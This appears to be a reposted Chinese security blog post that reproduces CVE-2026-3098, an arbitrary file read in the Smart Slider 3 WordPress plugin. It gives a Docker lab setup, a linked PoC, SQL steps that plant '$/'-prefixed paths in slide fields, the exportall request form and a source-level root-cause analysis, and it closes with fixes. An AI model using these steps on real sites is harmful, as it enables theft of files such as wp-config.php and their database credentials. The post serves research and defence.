文章总结: SmartSlider3WordPress插件3.5.1.33及之前版本存在任意文件读取漏洞(CVE-2026-3098),其actionExportAll函数未严格过滤用户输入路径,允许订阅者权限攻击者通过构造特殊路径读取服务器敏感文件如wp-config.php。文档详细提供了Docker环境搭建、Python/手动复现方法、流量特征分析及漏洞原理(路径解析器缺乏安全校验),并演示了通过修改数据库字段和批量导出功能实现文件内容窃取。 综合评分: 85 文章分类: 漏洞分析,WEB安全,实战经验,安全工具
Smart Slider 3 WordPress 插件任意文件读取漏洞 | CVE-2026-3098复现&研究
原创
404号浪漫 404号浪漫
404号浪漫
2026年4月1日 21:56 北京
在小说阅读器读本章
去阅读
点击蓝字,关注我们
0x0 背景介绍
Smart Slider 3是一款流行的WordPress动态滑块和页面构建插件。
在3.5.1.33及之前版本中,插件的actionExportAll 函数在处理导出逻辑时未对用户输入的文件路径进行严格过滤。具有订阅者(Subscriber)及以上权限的攻击者可以利用该漏洞读取服务器上的任意文件内容(如 wp-config.php),导致数据库凭据等敏感信息泄露。
漏洞详情
| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 | | — | — | — | — | | 文件读取 | ≤3.5.1.33 | 低 | CVE-2026-3098 |
攻击效果:
- 原则控制好路径后可以读取任意文件内容。
0x1 环境搭建(Ubuntu24)
1.1-Ubuntu24+Docker搭建配置
- ### 老朋友·inshtall.sh
#install.sh#!/bin/bash
# 检查并安装依赖if ! command -v unzip &> /dev/null; then echo "[*] 安装依赖工具..." apt update && apt install -y unzip wget curlfi
echo "[*] 阶段1/5:创建漏洞复现目录..."mkdir -p smart-slider-3-cve-2026-3098 && cd smart-slider-3-cve-2026-3098 || { echo "[x] 创建目录失败"; exit 1; }echo "[+] 工作目录: $(pwd)"
echo "[*] 阶段2/5:生成 docker-compose.yml..."cat > docker-compose.yml <<EOFservices: db: image: mysql:8.0 container_name: slider-db environment: MYSQL_ROOT_PASSWORD: slider-root-pass MYSQL_DATABASE: wordpress MYSQL_USER: wpuser MYSQL_PASSWORD: slider-user-pass volumes: - db_data:/var/lib/mysql command: --default-authentication-plugin=mysql_native_password
wordpress: image: wordpress:php7.4-apache container_name: slider-wp ports: - "8091:80" # 修改端口为 8091,避免与本机或其他环境冲突 environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wpuser WORDPRESS_DB_PASSWORD: slider-user-pass WORDPRESS_DB_NAME: wordpress volumes: - wp_plugins:/var/www/html/wp-content/plugins depends_on: - dbvolumes: db_data: wp_plugins:EOF
echo "[*] 阶段3/5:启动 Docker 环境..."docker compose up -d
echo "[*] 等待服务启动(约60秒)..."for i in {1..12}; do echo -n "." sleep 5doneecho -e "\n[+] 服务启动完成"
echo "[*] 等待 WordPress 安装页面就绪..."until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:8091/wp-admin/install.php)" = "200" ]; do sleep 2doneecho "[+] WordPress 已就绪"
echo "[*] 阶段4/5:下载并部署 Smart Slider 3 v3.5.1.32 (漏洞版本)..."
# 修改为 Smart Slider 3 的下载链接PLUGIN_URL="https://downloads.wordpress.org/plugin/smart-slider-3.3.5.1.32.zip"PLUGIN_ZIP="smart-slider-3.3.5.1.32.zip"
rm -rf smart-slider-3 "$PLUGIN_ZIP"
# 下载if ! wget -q "$PLUGIN_URL" -O "$PLUGIN_ZIP"; then echo "[-] 下载失败,尝试备用镜像..." if ! wget -q "https://downloads.wordpress.org/plugin/smart-slider-3.3.5.1.32.zip" -O "$PLUGIN_ZIP"; then echo "[!] 插件下载失败,请检查网络或插件是否仍可用" exit 1 fifi
# 解压unzip -q "$PLUGIN_ZIP"
# 验证插件目录存在 (注意目录名是 smart-slider-3)if [ ! -d "smart-slider-3" ]; then echo "[-] 插件目录未生成,解压失败" ls -la exit 1fi
# 复制到容器docker cp smart-slider-3 slider-wp:/var/www/html/wp-content/plugins/
# 修复权限docker exec slider-wp chown -R www-data:www-data /var/www/html/wp-content/plugins/smart-slider-3
# 清理本地rm -rf "$PLUGIN_ZIP" smart-slider-3
# 验证if docker exec slider-wp test -f /var/www/html/wp-content/plugins/smart-slider-3/smart-slider-3.php; then echo "[+] Smart Slider 3 插件部署成功!"else echo "[-] 插件主文件未找到,部署失败" docker exec slider-wp ls -l /var/www/html/wp-content/plugins/smart-slider-3/ || true exit 1fi
echo "=============================================="echo " CVE-2026-3098 漏洞环境部署完成!"echo " - 访问站点: http://localhost:8091"echo " - 首次访问时请完成 WordPress 安装"echo " * 站点标题: Smart Slider 3 - CVE-2026-3098"echo " * 用户名: admin"echo " * 密码: 自定义强密码(务必记住)"echo " * 邮箱: [email protected]"echo ""echo " - 安装步骤:"echo " 1. 完成安装后登录后台"echo " 2. 进入 '插件' -> 启用 'Smart Slider 3'"echo "=============================================="
0x2 漏洞复现
前置条件
| 条件 | 说明 | | — | — | | 具有Subscriber(订阅者)级别及权限 | 取决于你站点ACL/角色映射)进入Smart Slider 3后台管理页,确保可访问”滑块管理”界面以及导出操作入口。 | | 插件为影响版本 | 及小于等于3.5.1.33 |
2.1-复现过程
- python验证
#需要提前准备好账密,在脚本中配置 https://github.com/Kai-One001/cve-/blob/main/WordPress_plugin_Smart_Slider_CVE-2026-3098.py
- 手动验证-最小化验证方法(安全替代 payload)
# 1. 进入容器docker exec-it slider-wp # 2. 创建测试目录和文件 (内容写为 "VULNERABILITY TEST SUCCESS")mkdir -p /var/www/html/wp-content/uploads/ss3_auditecho "VULNERABILITY TEST SUCCESS - FLAG{123456}">/var/www/html/wp-content/uploads/ss3_audit/test.txt# 3. 确认文件存在192021root@41139d75bbfd:/var/www/html# ls -l /var/www/html/wp-content/uploads/ss3_audit/total 4-rw-r--r-- 1 root root 42 Mar 31 10:23 test.txt# 4.数据库验证POC已嵌入+----+------------------------------+------------------------------+| id | thumbnail | background_image |+----+------------------------------+------------------------------+| 6 | $/uploads/ss3_audit/test.txt | $/uploads/ss3_audit/test.txt |+----+------------------------------+------------------------------+1 row in set (0.00 sec)# 4.1 POC如何嵌入呢大致是进入插件-新增模板-添加轮播图-添加背景图,进行嵌入,其实忘记截图了...POC为:$/uploads/ss3_audit/test.txt# 4.2 数据库修改也中mysql> UPDATE wp_nextend2_smartslider3_slidesSET thumbnail = '$/uploads/ss3_audit/test.txt', params = JSON_SET(params, '$.backgroundImage', '$/uploads/ss3_audit/test.txt') WHERE slider = 3 AND id = 6;
mysql> SELECT id, thumbnail, JSON_UNQUOTE(JSON_EXTRACT(params, '$.backgroundImage')) as background_image FROM wp_nextend2_smartslider3_slides WHERE slider = 3; +----+------------------------------+------------------------------+ | id | thumbnail | background_image | +----+------------------------------+------------------------------+ | 6 | $/uploads/ss3_audit/test.txt | $/uploads/ss3_audit/test.txt | +----+------------------------------+------------------------------+ 1 row in set (0.00 sec) mysql>
# 5. 验证成功读取返回-选中-批量导出-修改zip-解压
附一张其他顶雷图(●’◡’●)
#
2.2 场景 :扩大危害
- 老规矩,验证成功后进行危害扩大读取config.php
2.3 场景-理论:扩大导出范围验证(inSearch 扩大数据集)
- 当
inSearch=1时,后端actionExportAll()会把$groupID设置为'*',导出集合更可能包含你”已污染的Slider” - 验证方式:只需把
inSearch切换到1观察导出范围变化及文件读取行为是否更容易触发。
2.4-复现流量特征 (PCAP)
- 写入动作是明文,不过进行了base加密,想要看拿到了什么数据可能需要解码检测
- 请求下载能看见文件名,不过内容无法发现
0x3 漏洞原理分析
3.1-架构与模块定位(入口到落地)
- 先列出来清单和思路
| | | — | | |
| 层级 | 核心文件 | 角色(在漏洞链条中的职责) |
| — | — | — |
| 入口层(路由/控制器) | Nextend\SmartSlider3\Application\Admin\Sliders\ControllerSliders.php | actionExportAll() 解析请求参数并批量调用导出 |
| 逻辑层(导出引擎) | Nextend\SmartSlider3\BackupSlider\ExportSlider.php | create() 组装 ZIP;对”资源路径”执行 file_get_contents() |
| 路径解析器 | Nextend\Framework\ResourceTranslator\ResourceTranslator.php | toPath() 资源别名到文件路径的字符串前缀替换(无规范化/无逃逸控制) |
| URL->Path 映射 | Nextend\Framework\Filesystem\WordPress\WordPressFilesystem.php 、Nextend\Framework\Filesystem\AbstractPlatformFilesystem.php | 仅做 URL 前缀替换,不做 .. 折叠与安全边界校验 |
| 工具类(URL 处理) | Nextend\Framework\Url\AbstractPlatformUrl.php | relativetoabsolute() 拼接 base/current base,缺少路径安全化 |
3.2-入口,批量导出路由的”失守”:
首先呢,还是根据线索actionExportAll入手,在入口控制器里锁定最后一道”导出触发”点:
// ControllerSliders.php protected function actionExportAll() { $slidersModel = new ModelSliders($this); $groupID = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0); $sliders = $slidersModel->getAll($groupID, 'published'); $ids = Request::$REQUEST->getVar('sliders');
$files = array(); $saveAsFile = count($ids) == 1 ? false : true; ........ $export = new ExportSlider($this, $slider['id']); $files[] = $export->create($saveAsFile); ... $zip = new Creator(); foreach ($files as $file) { $zip->addFile(file_get_contents($file), basename($file)); unlink($file); }
- 权限/令牌校验缺失:函数不调用
validatePermission()也不调用validateToken()。对比同文件中的actionImport(),它明确调用了权限校验(smartslider_edit) - 导出集合可被放大:
inSearch=1时,$groupID被直接设为'*',导致导出集合扩大,进而更容易包含攻击者可控数据(例如已配置了恶意资源字段的Slider)。 - 导出结果被二次读取:虽然
file_get_contents($file)读取的是由导出系统生成的.ss3文件,但真正的风险已经在下游导出方法中发生:它在创建ZIP时会把”解析为本地路径的资源”直接塞入ZIP内容。
这一步只做了”触发放大器”,真正的任意文件读取落地在下一层。
HTTP Request -> ControllerSliders::actionExportAll (注入点:inSearch、sliders[] 影响导出范围与选择) -> ExportSlider::create($saveAsFile) (注入点在 Slider 配置的图片/资源字段) -> ResourceTranslator::toPath / Filesystem::absoluteURLToPath (边界缺失:字符串替换,无规范化与逃逸控制) -> file_get_contents($file) (爆发点:读取外部文件内容进入 ZIP) -> ControllerSliders 再读回导出文件打包返回(放大泄露面)
3.3-资源”路径解析”缺少安全边界:
接着追踪$export->create($saveAsFile)的实现。也可以把它理解成:导出系统会把Slider的图片资源收集起来,然后把这些资源当作”文件”打进ZIP。
//ExportSlider.php 中,资源到文件读取的关键段落如下: $usedNames = array(); foreach ($this->images as $image) { $file = ResourceTranslator::toPath($image); if (Filesystem::fileexists($file)) { $fileName = strtolower(basename($file)); ... $this->backup->imageTranslation[$image] = $fileName; $zip->addFile(file_get_contents($file), 'images/' . $fileName); } }
- 最后失守的防线不是
file_get_contents本身,而是它之前那句ResourceTranslator::toPath($image)把”资源字符串”直接转换为”文件系统路径” - 所以看toPath()字符串拼接即读文件
接着检查ResourceTranslator::toPath(),它呢实现是”前缀匹配 + 拼接”,没有做任何安全规范化(realpath折叠)与逃逸验证
public static function toPath($resourcePath) { foreach (self::$resources as $resourceIdentifier) { $keyword = $resourceIdentifier->getKeyword(); if (strpos($resourcePath, $keyword) === 0) { return str_replace('/', DIRECTORY_SEPARATOR, $resourceIdentifier->getPath() . substr($resourcePath, strlen($keyword))); } } return $resourcePath; }
- 该类初始化时还会注册资源别名:
protected function init() { self::$isProtocolRelative = !!Settings::get('protocol-relative', 1); self::createResource('$', Filesystem::getBasePath(), Url::getBaseUri()); Image::getInstance(); }
'$' => Filesystem::getBasePath()见 init(),$符号映射的是Filesystem::getBasePath()- 在WordPress环境中,
getBasePath()通常返回的是wp-content目录 - 意味着只要攻击者让某个资源值以
$开头,toPath()就会把后续内容原样拼到base path后面。 - 边界缺失的直接后果:当资源字符串包含诸如目录逃逸片段时(例如../形式),导出引擎只用is_file(Filesystem::fileexists)来判断文件是否存在,并不对路径是否仍位于允许目录做约束
- 因此,file_get_contents($file)可能读取到base目录之外的任意文件内容并被打ZIP。
3.4-关键入口与请求参数形态
前端导出按钮会跳转到exportAllUrl,并把以下参数拼到查询串中:
sliders:本次勾选的滑块id列表(ManageSliders.prototype.exportSliders处构造)inSearch:是否来自搜索态(控制服务端是否用'*'扩大导出范围)
前端构造逻辑的关键片段
//来自 smartslider-backend.jswindow.location.href = _N2.N2QueryString.add_query_arg({ sliders: ids, inSearch:this.isInSearch},this.exportAllUrl);
后端的路由层把sliders/exportAll映射到:
nextendcontroller=sliders- nextendaction=exportall(由路由器lower-case处理)
HTTP 请求”结构骨架”(只展示关键字段,
nextend_nonce需为你环境中实际生成的值)所以请求下载的构造为:
GET /<your-admin-page>?nextendcontroller=sliders&nextendaction=exportall¤tGroupID=<GROUP_ID>&sliders[]=<SLIDER_ID>&inSearch=<0|1>&nextend_nonce=<TOKEN>
3.5-攻击链路-从注入资源到”读取落地”的闭环:
最后,也看下”资源值来自哪里来”,确保链路不是是真实的。
在ExportSlider::create()中,$this->images并不是固定列表,它会从Slider的字段持续累积
self::addImage($this->backup->slider['thumbnail']); ... for ($i = 0; $i < count($this->backup->slides); $i++) { $slide = $this->backup->slides[$i]; self::addImage($slide['thumbnail']); $slide['params'] = new Data($slide['params'], true); self::addImage($slide['params']->get('backgroundImage')); self::addImage($slide['params']->get('ligthboxImage')); ... if ($slide['params']->has('link')) { self::addLightbox($slide['params']->get('link')); } if ($slide['params']->has('href')) { self::addLightbox($slide['params']->get('href')); }
- 资源描述是只能指向”站点允许的图片资源目录/资源别名”
- 只要文件存在,就可以安全读取并打入ZIP
而实际实现缺失了:
- 路径规范化:导出读取前没用
realpath折叠与重新校验目录边界。 - 逃逸控制:
ResourceTranslator::toPath与Filesystem::*ToPath只做字符串拼接/替换,不处理../等逃逸场景。 - 二次校验缺失:即使做过”basepath前缀检查”,也仍存在未覆盖的分支落点(例如
replaceHTMLImage()中最终仍允许file_get_contents($path))
进一步看这个证据:replaceHTMLImage()也会把解析后的路径直接喂给file_get_contents
public function replaceHTMLImage($found) { $path = Filesystem::absoluteURLToPath(self::addProtocol($found[2])); ... if (strpos($path, Filesystem::getBasePath()) !== 0) { $imageUrl = Url::relativetoabsolute($path); $path = Filesystem::absoluteURLToPath($imageUrl); } ... if (Filesystem::fileexists($path)) { ... $this->files['images/' . $fileName] = file_get_contents($path); $this->imageTranslation[$path] = $fileName;
- 导出系统把”资源字符串”当作”可直接读取的文件路径”,并且整个链路都缺乏规范化与目录边界校验。
- 这样就变成
actionExportAll作为放大入口,只要能诱导导出到包含恶意资源字段的Slider,就能造成任意文件读取并以ZIP形式回传出来 - ###
相当于``ExportSlider::create把可控值喂给解析器
#
0x4 修复建议
1、升级最新版本:将插件升级安全版本3.5.1.34
#站点后台-已安装插件-升级 或者看官方提示https://smartslider3.com/free/
2、临时防护措施:
- 减少暴露面:若业务不需要导出功能,可先禁用该后台功能入口,减少可利用面
- 防火墙 / WAF:监控包含nextendaction=exportall的请求,对异常频率进行限速,结合sliders[] 与 inSearch参数的组合异常进行告警/拦截
- 限制访问:对nextendcontroller=sliders&nextendaction=exportall进行访问控制,仅允许后台已登录且满足权限的会话访问
- 权限最小化:站点全部权限最小化,设置强密码避免盗刷。
/**又是到了经典的周三环节,快则周末,慢则刚刚上班三天**/
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:404号浪漫 404号浪漫 404号浪漫《Smart Slider 3 WordPress 插件任意文件读取漏洞 | CVE-2026-3098复现&研究》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论